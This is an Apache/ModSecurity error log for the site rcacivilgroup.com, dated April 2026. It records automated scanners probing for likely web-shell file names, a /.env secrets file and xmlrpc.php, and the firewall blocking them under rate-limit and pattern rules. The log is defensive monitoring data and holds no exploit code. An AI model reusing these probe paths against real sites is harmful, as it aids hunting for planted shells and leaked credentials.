[Wed Apr 22 23:51:54.153490 2026] [:error] [pid 23776:tid 23784] [client 172.213.243.103:34781] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "aejumrRExf-1pAbSeJsz-gAAAYY"]
[Wed Apr 22 23:51:54.711407 2026] [:error] [pid 23776:tid 23802] [client 172.213.243.103:35514] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "aejumrRExf-1pAbSeJsz_AAAAZg"]
[Wed Apr 22 23:51:55.196001 2026] [:error] [pid 6251:tid 6286] [client 172.213.243.103:50617] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "aejumysFAzbyObL-SQ6aTwAAAIE"]
[Wed Apr 22 23:51:55.706222 2026] [:error] [pid 9085:tid 9093] [client 172.213.243.103:58237] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file48.php"] [unique_id "aejum9-_-or9vQnlWnrp6QAAAUY"]
[Wed Apr 22 23:51:56.207213 2026] [:error] [pid 9085:tid 9099] [client 172.213.243.103:62435] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file48.php"] [unique_id "aejunN-_-or9vQnlWnrp6wAAAUw"]
[Wed Apr 22 23:51:56.686065 2026] [:error] [pid 9085:tid 9090] [client 172.213.243.103:58231] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file48.php"] [unique_id "aejunN-_-or9vQnlWnrp7gAAAUM"]
[Wed Apr 22 23:51:57.174709 2026] [:error] [pid 6250:tid 6277] [client 172.213.243.103:37170] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file48.php"] [unique_id "aejunQ-iZeQkqmQVfj40iQAAAFc"]
[Wed Apr 22 23:51:57.735825 2026] [:error] [pid 9085:tid 9089] [client 172.213.243.103:58205] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/g.php"] [unique_id "aejund-_-or9vQnlWnrp9wAAAUI"]
[Wed Apr 22 23:51:58.213419 2026] [:error] [pid 9085:tid 9092] [client 172.213.243.103:38329] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/g.php"] [unique_id "aejunt-_-or9vQnlWnrp-gAAAUU"]
[Wed Apr 22 23:51:58.740059 2026] [:error] [pid 6250:tid 6257] [client 172.213.243.103:41942] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/g.php"] [unique_id "aejung-iZeQkqmQVfj40jgAAAEM"]
[Wed Apr 22 23:51:59.218437 2026] [:error] [pid 6384:tid 6387] [client 172.213.243.103:41306] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/g.php"] [unique_id "aejunz58M3t15ICeWHWdSQAAAMA"]
[Wed Apr 22 23:51:59.699296 2026] [:error] [pid 6384:tid 6402] [client 172.213.243.103:38314] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "aejunz58M3t15ICeWHWdSgAAAM8"]
[Wed Apr 22 23:52:00.187323 2026] [:error] [pid 23776:tid 23798] [client 172.213.243.103:55918] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "aejuoLRExf-1pAbSeJs0AAAAAZQ"]
[Wed Apr 22 23:52:00.677842 2026] [:error] [pid 6384:tid 6408] [client 172.213.243.103:35504] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "aejuoD58M3t15ICeWHWdTQAAANU"]
[Wed Apr 22 23:52:01.181275 2026] [:error] [pid 23776:tid 23796] [client 172.213.243.103:39458] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "aejuobRExf-1pAbSeJs0BAAAAZI"]
[Wed Apr 22 23:52:01.722775 2026] [:error] [pid 9085:tid 9102] [client 172.213.243.103:35553] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "aejuod-_-or9vQnlWnrqAgAAAU8"]
[Wed Apr 22 23:52:02.203726 2026] [:error] [pid 23776:tid 23784] [client 172.213.243.103:50592] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "aejuorRExf-1pAbSeJs0BwAAAYY"]
[Wed Apr 22 23:52:02.701366 2026] [:error] [pid 9085:tid 9104] [client 172.213.243.103:56930] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "aejuot-_-or9vQnlWnrqBQAAAVE"]
[Wed Apr 22 23:52:03.195584 2026] [:error] [pid 6344:tid 6357] [client 172.213.243.103:56934] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "aejuo0DOTF-pkQnDeUkgvAAAAAg"]
[Wed Apr 22 23:52:03.684099 2026] [:error] [pid 23776:tid 23788] [client 172.213.243.103:9018] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ew.php"] [unique_id "aejuo7RExf-1pAbSeJs0CQAAAYo"]
[Wed Apr 22 23:52:04.177997 2026] [:error] [pid 6250:tid 6272] [client 172.213.243.103:55906] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ew.php"] [unique_id "aejupA-iZeQkqmQVfj40lAAAAFI"]
[Wed Apr 22 23:52:04.666886 2026] [:error] [pid 6344:tid 6363] [client 172.213.243.103:50586] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ew.php"] [unique_id "aejupEDOTF-pkQnDeUkgvQAAAA4"]
[Wed Apr 22 23:52:05.151672 2026] [:error] [pid 9085:tid 9105] [client 172.213.243.103:40071] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ew.php"] [unique_id "aejupd-_-or9vQnlWnrqDAAAAVI"]
[Wed Apr 22 23:52:05.630478 2026] [:error] [pid 9085:tid 9098] [client 172.213.243.103:50611] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file21.php"] [unique_id "aejupd-_-or9vQnlWnrqDgAAAUs"]
[Wed Apr 22 23:52:06.108054 2026] [:error] [pid 9085:tid 9100] [client 172.213.243.103:40078] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file21.php"] [unique_id "aejupt-_-or9vQnlWnrqDwAAAU0"]
[Wed Apr 22 23:52:06.587832 2026] [:error] [pid 6251:tid 6305] [client 172.213.243.103:41287] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file21.php"] [unique_id "aejupisFAzbyObL-SQ6aUQAAAJQ"]
[Wed Apr 22 23:52:07.122163 2026] [:error] [pid 6344:tid 6353] [client 172.213.243.103:34803] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file21.php"] [unique_id "aejup0DOTF-pkQnDeUkgwgAAAAQ"]
[Wed Apr 22 23:52:07.635348 2026] [:error] [pid 9085:tid 9090] [client 172.213.243.103:50517] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hypo.php"] [unique_id "aejup9-_-or9vQnlWnrqEgAAAUM"]
[Wed Apr 22 23:52:08.113390 2026] [:error] [pid 9085:tid 9108] [client 172.213.243.103:50534] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hypo.php"] [unique_id "aejuqN-_-or9vQnlWnrqFAAAAVU"]
[Wed Apr 22 23:52:08.592362 2026] [:error] [pid 6251:tid 6294] [client 172.213.243.103:8970] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hypo.php"] [unique_id "aejuqCsFAzbyObL-SQ6aVwAAAIk"]
[Wed Apr 22 23:52:09.072594 2026] [:error] [pid 6384:tid 6394] [client 172.213.243.103:62456] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hypo.php"] [unique_id "aejuqT58M3t15ICeWHWdUgAAAMc"]
[Wed Apr 22 23:52:09.582250 2026] [:error] [pid 9085:tid 9107] [client 172.213.243.103:35536] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file18.php"] [unique_id "aejuqd-_-or9vQnlWnrqGAAAAVQ"]
[Wed Apr 22 23:52:10.075649 2026] [:error] [pid 6384:tid 6387] [client 172.213.243.103:64982] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file18.php"] [unique_id "aejuqj58M3t15ICeWHWdVQAAAMA"]
[Wed Apr 22 23:52:10.560795 2026] [:error] [pid 6252:tid 6317] [client 172.213.243.103:56919] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file18.php"] [unique_id "aejuqutGYuiYb1nWBpRt_wAAAQU"]
[Wed Apr 22 23:52:11.039549 2026] [:error] [pid 6384:tid 6410] [client 172.213.243.103:62412] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file18.php"] [unique_id "aejuqz58M3t15ICeWHWdWAAAANc"]
[Wed Apr 22 23:52:11.540122 2026] [:error] [pid 6344:tid 6370] [client 172.213.243.103:35560] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "aejuq0DOTF-pkQnDeUkgyAAAABU"]
[Wed Apr 22 23:52:12.019695 2026] [:error] [pid 23776:tid 23785] [client 172.213.243.103:50507] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "aejurLRExf-1pAbSeJs0DQAAAYc"]
[Wed Apr 22 23:52:12.508862 2026] [:error] [pid 6250:tid 6259] [client 172.213.243.103:56897] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "aejurA-iZeQkqmQVfj40nwAAAEU"]
[Wed Apr 22 23:52:12.993750 2026] [:error] [pid 6384:tid 6399] [client 172.213.243.103:48271] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "aejurD58M3t15ICeWHWdWgAAAMw"]
[Wed Apr 22 23:52:13.481095 2026] [:error] [pid 6384:tid 6393] [client 172.213.243.103:8990] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aejurT58M3t15ICeWHWdWwAAAMY"]
[Wed Apr 22 23:52:13.971266 2026] [:error] [pid 6344:tid 6352] [client 172.213.243.103:35487] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aejurUDOTF-pkQnDeUkgzQAAAAM"]
[Wed Apr 22 23:52:14.449661 2026] [:error] [pid 23776:tid 23787] [client 172.213.243.103:8999] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aejurrRExf-1pAbSeJs0EgAAAYk"]
[Wed Apr 22 23:52:14.928033 2026] [:error] [pid 6250:tid 6257] [client 172.213.243.103:35563] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aejurg-iZeQkqmQVfj40pQAAAEM"]
[Wed Apr 22 23:52:15.417931 2026] [:error] [pid 6251:tid 6303] [client 172.213.243.103:64376] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "aejurysFAzbyObL-SQ6aXQAAAJI"]
[Wed Apr 22 23:52:15.899601 2026] [:error] [pid 6251:tid 6285] [client 172.213.243.103:65008] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "aejurysFAzbyObL-SQ6aXgAAAIA"]
[Wed Apr 22 23:52:16.377782 2026] [:error] [pid 6344:tid 6354] [client 172.213.243.103:41922] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "aejusEDOTF-pkQnDeUkg0wAAAAU"]
[Wed Apr 22 23:52:16.859099 2026] [:error] [pid 6344:tid 6353] [client 172.213.243.103:58181] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "aejusEDOTF-pkQnDeUkg2gAAAAQ"]
[Thu Apr 23 00:02:19.012522 2026] [:error] [pid 6251:tid 6287] [client 194.233.84.132:57878] [client 194.233.84.132] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "aejxCysFAzbyObL-SQ6cNwAAAII"]
[Thu Apr 23 00:14:17.443148 2026] [autoindex:error] [pid 6252:tid 6323] [client 109.123.253.36:56906] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Thu Apr 23 01:43:50.734507 2026] [:error] [pid 6251:tid 6294] [client 43.138.68.113:55442] [client 43.138.68.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aekI1isFAzbyObL-SQ6qggAAAIk"]
[Thu Apr 23 03:13:41.189969 2026] [:error] [pid 40296:tid 40327] [client 165.101.21.20:55315] [client 165.101.21.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.101.21.20, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aekd5aKhuCD314EzOWDrWQAAAEA"]
[Thu Apr 23 03:35:34.235345 2026] [:error] [pid 43083:tid 43086] [client 43.135.142.7:49260] [client 43.135.142.7] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aekjBjC5hrvNXosL83JC0QAAAME"]
[Thu Apr 23 03:51:21.406569 2026] [:error] [pid 42971:tid 43010] [client 185.231.100.72:59686] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "aekmuTEP2_5RswrH8bFhhQAAABg"]
[Thu Apr 23 03:51:25.233076 2026] [:error] [pid 42973:tid 43059] [client 185.231.100.72:59716] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "aekmvW6I0QqmmmLTHE13swAAAJA"]
[Thu Apr 23 05:59:32.138755 2026] [:error] [pid 25635:tid 25661] [client 155.248.183.67:52043] [client 155.248.183.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file-manager/initialize"] [unique_id "aelExMRxv6UsgRGKB3KbbwAAARY"]
